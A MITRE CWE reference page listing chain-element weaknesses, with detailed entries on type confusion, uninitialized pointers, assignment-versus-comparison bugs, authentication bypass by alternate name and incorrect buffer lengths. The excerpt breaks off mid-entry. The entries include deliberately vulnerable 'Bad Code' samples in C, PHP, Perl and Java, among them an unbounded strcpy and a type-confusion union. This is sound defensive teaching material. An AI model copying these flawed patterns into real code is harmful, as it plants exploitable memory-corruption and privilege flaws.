CWE

Common Weakness Enumeration

A Community-Developed List of Software Weakness Types

CWE/SANS Top 25 Most Dangerous Software Errors
Home > CWE List > VIEW SLICE: CWE-679: Chain Elements (2.11)  
ID

CWE VIEW: Chain Elements

View ID: 679
Structure: Implicit Slice
Status: Draft
Presentation Filter:
+ View Data

View Objective

This view (slice) displays only weakness elements that are part of a chain.

View Filter: (.//Relationship_Nature='CanPrecede') or (@ID = //Relationship_Target_ID[../Relationship_Nature='CanPrecede'])

+ Relationships
Weakness BaseWeakness Base Access of Resource Using Incompatible Type ('Type Confusion') - (843)
Weakness BaseWeakness Base Access of Uninitialized Pointer - (824)
Weakness VariantWeakness Variant Assigning instead of Comparing - (481)
Weakness VariantWeakness Variant Authentication Bypass by Alternate Name - (289)
Weakness BaseWeakness Base Buffer Access with Incorrect Length Value - (805)
Weakness BaseWeakness Base Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') - (120)
Weakness VariantWeakness Variant Buffer Over-read - (126)
Weakness BaseWeakness Base Buffer Underwrite ('Buffer Underflow') - (124)
CategoryCategory Cleansing, Canonicalization, and Comparison Errors - (171)
Weakness BaseWeakness Base Client-Side Enforcement of Server-Side Security - (602)
Weakness VariantWeakness Variant Cloneable Class Containing Sensitive Information - (498)
Weakness BaseWeakness Base Collapse of Data into Unsafe Value - (182)
Weakness ClassWeakness Class Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - (362)
Weakness BaseWeakness Base Deployment of Wrong Handler - (430)
Weakness ClassWeakness Class Detection of Error Condition Without Action - (390)
Weakness BaseWeakness Base Direct Request ('Forced Browsing') - (425)
Weakness VariantWeakness Variant Double Free - (415)
Weakness BaseWeakness Base Double-Checked Locking - (609)
Weakness BaseWeakness Base Download of Code Without Integrity Check - (494)
Weakness ClassWeakness Class Encoding Error - (172)
Weakness BaseWeakness Base Excessive Iteration - (834)
Weakness BaseWeakness Base Expired Pointer Dereference - (825)
Weakness VariantWeakness Variant Exposed IOCTL with Insufficient Access Control - (782)
Weakness VariantWeakness Variant Exposure of Data Element to Wrong Session - (488)
Weakness ClassWeakness Class Exposure of Resource to Wrong Sphere - (668)
Weakness BaseWeakness Base External Control of Assumed-Immutable Web Parameter - (472)
Weakness ClassWeakness Class External Control of File Name or Path - (73)
Weakness VariantWeakness Variant Free of Memory not on the Heap - (590)
Weakness VariantWeakness Variant Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code - (781)
Weakness ClassWeakness Class Improper Authentication - (287)
Weakness VariantWeakness Variant Improper Clearing of Heap Memory Before Release ('Heap Inspection') - (244)
Weakness BaseWeakness Base Improper Control of Document Type Definition - (827)
Weakness BaseWeakness Base Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') - (98)
Weakness ClassWeakness Class Improper Control of Generation of Code ('Code Injection') - (94)
Weakness ClassWeakness Class Improper Encoding or Escaping of Output - (116)
Weakness VariantWeakness Variant Improper Handling of Alternate Encoding - (173)
Weakness BaseWeakness Base Improper Handling of Case Sensitivity - (178)
Weakness VariantWeakness Variant Improper Handling of Extra Values - (231)
Weakness BaseWeakness Base Improper Handling of Length Parameter Inconsistency - (130)
Weakness ClassWeakness Class Improper Input Validation - (20)
Weakness ClassWeakness Class Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)
Weakness BaseWeakness Base Improper Link Resolution Before File Access ('Link Following') - (59)
Weakness BaseWeakness Base Improper Neutralization of CRLF Sequences ('CRLF Injection') - (93)
Weakness BaseWeakness Base Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') - (113)
Weakness BaseWeakness Base Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
Weakness ClassWeakness Class Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') - (74)
Weakness BaseWeakness Base Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
Weakness BaseWeakness Base Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
Weakness BaseWeakness Base Improper Null Termination - (170)
Weakness BaseWeakness Base Improper Output Neutralization for Logs - (117)
Weakness BaseWeakness Base Improper Release of Memory Before Removing Last Reference ('Memory Leak') - (401)
Weakness BaseWeakness Base Improper Resolution of Path Equivalence - (41)
Weakness ClassWeakness Class Improper Restriction of Communication Channel to Intended Endpoints - (923)
Weakness ClassWeakness Class Improper Restriction of Operations within the Bounds of a Memory Buffer - (119)
Weakness VariantWeakness Variant Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') - (776)
Weakness BaseWeakness Base Improper Synchronization - (662)
Weakness BaseWeakness Base Improper Update of Reference Count - (911)
Weakness BaseWeakness Base Improper Validation of Array Index - (129)
Weakness BaseWeakness Base Incomplete Blacklist - (184)
Weakness ClassWeakness Class Incorrect Calculation - (682)
Weakness BaseWeakness Base Incorrect Calculation of Buffer Size - (131)
Weakness BaseWeakness Base Incorrect Conversion between Numeric Types - (681)
Weakness ClassWeakness Class Incorrect Regular Expression - (185)
Weakness ClassWeakness Class Incorrect Resource Transfer Between Spheres - (669)
Weakness BaseWeakness Base Incorrectly Specified Destination in a Communication Channel - (941)
Weakness ClassWeakness Class Information Exposure - (200)
Weakness BaseWeakness Base Information Exposure Through an Error Message - (209)
Weakness BaseWeakness Base Information Exposure Through Timing Discrepancy - (208)
Weakness ClassWeakness Class Insufficient Comparison - (697)
Weakness BaseWeakness Base Insufficient Control of Network Message Volume (Network Amplification) - (406)
Weakness BaseWeakness Base Insufficient Resource Pool - (410)
Weakness BaseWeakness Base Insufficient Session Expiration - (613)
Weakness BaseWeakness Base Integer Overflow or Wraparound - (190)
Weakness ClassWeakness Class Missing Custom Error Page - (756)
Weakness BaseWeakness Base Missing Handler - (431)
Weakness BaseWeakness Base Missing Initialization of a Variable - (456)
Weakness BaseWeakness Base Missing Initialization of Resource - (909)
Weakness BaseWeakness Base Missing Release of Resource after Effective Lifetime - (772)
Weakness BaseWeakness Base Modification of Assumed-Immutable Data (MAID) - (471)
Weakness BaseWeakness Base NULL Pointer Dereference - (476)
Weakness BaseWeakness Base Numeric Range Comparison Without Minimum Check - (839)
Weakness BaseWeakness Base Off-by-one Error - (193)
Weakness BaseWeakness Base Operation on a Resource after Expiration or Release - (672)
Weakness BaseWeakness Base Out-of-bounds Read - (125)
Weakness BaseWeakness Base Out-of-bounds Write - (787)
Weakness BaseWeakness Base Partial Comparison - (187)
Weakness VariantWeakness Variant Path Equivalence: '/multiple/trailing/slash//' - (52)
Weakness VariantWeakness Variant Path Equivalence: 'filename ' (Trailing Space) - (46)
Weakness VariantWeakness Variant Path Traversal: '....' (Multiple Dot) - (33)
Weakness VariantWeakness Variant Path Traversal: '....//' - (34)
Weakness VariantWeakness Variant Path Traversal: '.../...//' - (35)
Weakness BaseWeakness Base Permissive Whitelist - (183)
Weakness VariantWeakness Variant PHP External Variable Modification - (473)
Weakness BaseWeakness Base Premature Release of Resource During Expected Lifetime - (826)
Weakness BaseWeakness Base Race Condition Enabling Link Following - (363)
Weakness VariantWeakness Variant Reachable Assertion - (617)
Weakness VariantWeakness Variant Reliance on Reverse DNS Resolution for a Security-Critical Action - (350)
Weakness BaseWeakness Base Reliance on Security Through Obscurity - (656)
Weakness BaseWeakness Base Return of Stack Variable Address - (562)
Weakness VariantWeakness Variant Sensitive Data Under Web Root - (219)
Weakness VariantWeakness Variant Serializable Class Containing Sensitive Data - (499)
Weakness BaseWeakness Base Signal Handler Race Condition - (364)
Weakness VariantWeakness Variant Signal Handler Use of a Non-reentrant Function - (479)
Weakness VariantWeakness Variant Signed to Unsigned Conversion Error - (195)
Weakness BaseWeakness Base Time-of-check Time-of-use (TOCTOU) Race Condition - (367)
Weakness BaseWeakness Base Uncaught Exception in Servlet - (600)
Weakness BaseWeakness Base Unchecked Input for Loop Condition - (606)
Weakness BaseWeakness Base Unchecked Return Value - (252)
Weakness VariantWeakness Variant Uncontrolled Memory Allocation - (789)
Weakness BaseWeakness Base Uncontrolled Resource Consumption ('Resource Exhaustion') - (400)
Weakness ClassWeakness Class Unintended Proxy or Intermediary ('Confused Deputy') - (441)
Weakness VariantWeakness Variant Unparsed Raw Web Content Delivery - (433)
Weakness BaseWeakness Base Unrestricted Upload of File with Dangerous Type - (434)
Weakness BaseWeakness Base Unsynchronized Access to Shared Data in a Multithreaded Context - (567)
Weakness BaseWeakness Base Untrusted Pointer Dereference - (822)
Weakness BaseWeakness Base Use After Free - (416)
Weakness BaseWeakness Base Use of a Broken or Risky Cryptographic Algorithm - (327)
Weakness BaseWeakness Base Use of Hard-coded Cryptographic Key - (321)
Weakness BaseWeakness Base Use of Hard-coded Password - (259)
Weakness BaseWeakness Base Use of Inherently Dangerous Function - (242)
Weakness BaseWeakness Base Use of Out-of-range Pointer Offset - (823)
Weakness VariantWeakness Variant Use of sizeof() on a Pointer Type - (467)
Weakness BaseWeakness Base Use of Uninitialized Resource - (908)
Weakness VariantWeakness Variant Use of Uninitialized Variable - (457)
Weakness BaseWeakness Base Variable Extraction Error - (621)
Weakness BaseWeakness Base Wrap-around Error - (128)
Weakness BaseWeakness Base Write-what-where Condition - (123)
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated View_Filter, View_Structure
+ View Metrics
CWEs in this viewTotal CWEs
Total127out of1006
Views0out of33
Categories1out of245
Weaknesses126out of720
Compound_Elements0out of8
View Components
View Components
A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

Weakness ID: 843
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The program allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Extended Description

When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.

While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

+ Alternate Terms
Object Type Confusion
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

Language-independent

Type-unsafe Languages

+ Demonstrative Examples

Example 1

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

(Bad Code)
Example Language:
#define NAME_TYPE 1
#define ID_TYPE 2

struct MessageBuffer
{
int msgType;
union {
char *name;
int nameID;
};
};


int main (int argc, char **argv) {
struct MessageBuffer buf;
char *defaultMessage = "Hello World";

buf.msgType = NAME_TYPE;
buf.name = defaultMessage;
printf("Pointer of buf.name is %p\n", buf.name);
/* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it could be any value. */
buf.nameID = (int)(defaultMessage + 1);
printf("Pointer of buf.name is now %p\n", buf.name);
if (buf.msgType == NAME_TYPE) {
printf("Message: %s\n", buf.name);
}
else {
printf("Message: Use ID %d\n", buf.nameID);
}
}

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

Pointer of name is 10830

Pointer of name is now 10831

Message: ello World

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Example 2

The following PHP code accepts a value, adds 5, and prints the sum.

(Bad Code)
Example Language: PHP 
$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is '$value'<p>";
echo "SUM is $sum";

When called with the following query string:

value=123

the program calculates the sum and prints out:

SUM is 128

However, the attacker could supply a query string such as:

value[]=123

The "[]" array syntax causes $value to be treated as an array type, which then generates a fatal error when calculating $sum:

Fatal error: Unsupported operand types in program.php on line 2

Example 3

The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the $UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

(Bad Code)
Example Language: Perl 
my $UserPrivilegeArray = ["user", "user", "admin", "user"];

my $userID = get_current_user_ID();

if ($UserPrivilegeArray eq "user") {
print "Regular user!\n";
}
else {
print "Admin!\n";
}

print "\$UserPrivilegeArray = $UserPrivilegeArray\n";

In this case, the programmer intended to use "$UserPrivilegeArray->{$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the $UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.

Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.

+ Observed Examples
ReferenceDescription
Type confusion in CSS sequence leads to out-of-bounds read.
Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild.
Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended.
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class704Incorrect Type Conversion or Cast
Development Concepts (primary)699
Research Concepts (primary)1000
CanPrecedeWeakness ClassWeakness Class119Improper Restriction of Operations within the Bounds of a Memory Buffer
Research Concepts1000
+ Research Gaps

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. This weakness seems likely to gain prominence in upcoming years.

For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

+ References
Mark Dowd, Ryan Smith and David Dewey. "Attacking Interoperability". "Type Confusion Vulnerabilities," page 59. 2009. <http://www.azimuthsecurity.com/resources/bh2009_dowd_smith_dewey.pdf>.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Type Confusion", Page 319.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2011-05-15MITREInternal CWE Team
Modifications
Modification DateModifierOrganizationSource
2012-05-11CWE Content TeamMITREInternal
updated References

CWE-824: Access of Uninitialized Pointer

Weakness ID: 824
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The program accesses or uses a pointer that has not been initialized.

Extended Description

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the program to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and program operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

+ Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read memory

If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

Availability

Technical Impact: DoS: crash / exit / restart

If the uninitialized pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.

Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

+ Observed Examples
ReferenceDescription
chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).
Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash.
Free of an uninitialized pointer.
Improper handling of invalid signatures leads to free of invalid pointer.
Invalid encoding triggers free of uninitialized pointer.
Crafted PNG image leads to free of uninitialized pointer.
Crafted GIF image leads to free of uninitialized pointer.
Access of uninitialized pointer might lead to code execution.
Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution.
Unchecked return values can lead to a write to an uninitialized pointer.
zero-length input leads to free of uninitialized pointer.
Crafted font leads to uninitialized function pointer.
Uninitialized function pointer in freed memory is invoked
LDAP server mishandles malformed BER queries, leading to free of uninitialized memory
Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer.
LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails.
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class119Improper Restriction of Operations within the Bounds of a Memory Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory465Pointer Issues
Development Concepts699
CanPrecedeWeakness BaseWeakness Base125Out-of-bounds Read
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base787Out-of-bounds Write
Research Concepts1000
+ Research Gaps

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312.. 1st Edition. Addison Wesley. 2006.
+ Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
2010-09-22MITREInternal CWE Team
Modifications
Modification DateModifierOrganizationSource
2012-05-11CWE Content TeamMITREInternal
updated References
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE-481: Assigning instead of Comparing

Weakness ID: 481
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The code uses an operator for assignment when the intention was to perform a comparison.

Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

Java

.NET

+ Common Consequences
ScopeEffect
Other

Technical Impact: Alter execution logic

+ Likelihood of Exploit

Low

+ Demonstrative Examples

Example 1

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

(Bad Code)
Example Languages: C and C# 
int isValid(int value) {
if (value=100) {
printf("Value is valid\n");
return(1);
}
printf("Value is not valid\n");
return(0);
}
(Bad Code)
Example Language: C# 
bool isValid(int value) {
if (value=100) {
Console.WriteLine("Value is valid.");
return true;
}
Console.WriteLine("Value is not valid.");
return false;
}

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

(Bad Code)
Example Language:
void processString (char *str) {
int i;

for(i=0; i<strlen(str); i++) {
if (isalnum(str[i])){
processChar(str[i]);
}
else if (str[i] = ':') {
movingToNewInput();}
}
}
}

Example 3

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

(Bad Code)
Example Language: Java 
public void checkValid(boolean isValid) {
if (isValid = true) {
System.out.println("Performing processing");
doSomethingImportant();
}
else {
System.out.println("Not Valid, do not perform processing");
return;
}
}

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

(Good Code)
Example Language: Java 
public void checkValid(boolean isValid) {
if (isValid) {
System.out.println("Performing processing");
doSomethingImportant();
}
else {
System.out.println("Not Valid, do not perform processing");
return;
}
}

Alternatively, to test for false, just use the boolean NOT operator.

(Good Code)
Example Language: Java 
public void checkValid(boolean isValid) {
if (!isValid) {
System.out.println("Not Valid, do not perform processing");
return;
}
System.out.println("Performing processing");
doSomethingImportant();
}

Example 4

(Bad Code)
Example Language:
void called(int foo){
if (foo=1) printf("foo\n");
}
int main() {

called(2);
return 0;
}
+ Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Phase: Implementation

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will of course produce an error.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base480Use of Incorrect Operator
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory998SFP Secondary Cluster: Glitch in Computation
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness ClassWeakness Class697Insufficient Comparison
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPAssigning instead of comparing
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Typos", Page 289.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITREInternal
updated Description, Other_Notes
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITREInternal
updated Relationships

CWE-289: Authentication Bypass by Alternate Name

Weakness ID: 289
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Bypass protection mechanism

+ Observed Examples
ReferenceDescription
Protection mechanism that restricts URL access can be bypassed using URL encoding.
Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash).
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class287Improper Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory845CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory947SFP Secondary Cluster: Authentication Bypass
Software Fault Pattern (SFP) Clusters (primary)888
CanFollowWeakness VariantWeakness Variant46Path Equivalence: 'filename ' (Trailing Space)
Research Concepts1000
CanFollowWeakness VariantWeakness Variant52Path Equivalence: '/multiple/trailing/slash//'
Research Concepts1000
CanFollowCategoryCategory171Cleansing, Canonicalization, and Comparison Errors
Research Concepts1000
CanFollowWeakness VariantWeakness Variant173Improper Handling of Alternate Encoding
Research Concepts1000
CanFollowWeakness BaseWeakness Base178Improper Handling of Case Sensitivity
Research Concepts1000
+ Relationship Notes

Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.

+ Theoretical Notes

Alternate names are useful in data driven manipulation attacks, not just for authentication.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication bypass by alternate name
CERT Java Secure CodingIDS01-JNormalize strings before validating them
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Observed_Examples
2009-07-27CWE Content TeamMITREInternal
updated Other_Notes, Potential_Mitigations, Theoretical_Notes
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Relationships

CWE-805: Buffer Access with Incorrect Length Value

Weakness ID: 805
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C: (Often)

C++: (Often)

Assembly

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability

Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

+ Likelihood of Exploit

Medium to High

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

+ Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(Bad Code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */
validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

(Bad Code)
Example Language:
int returnChunkSize(void *) {
/* if chunk info is valid, return the size of usable memory,
* else, return -1 to indicate an error
*/
...
}
int main() {
...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...
}

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3

In the following example, the source character string is copied to the dest character string using the method strncpy.

(Bad Code)
Example Languages: C and C++ 
...
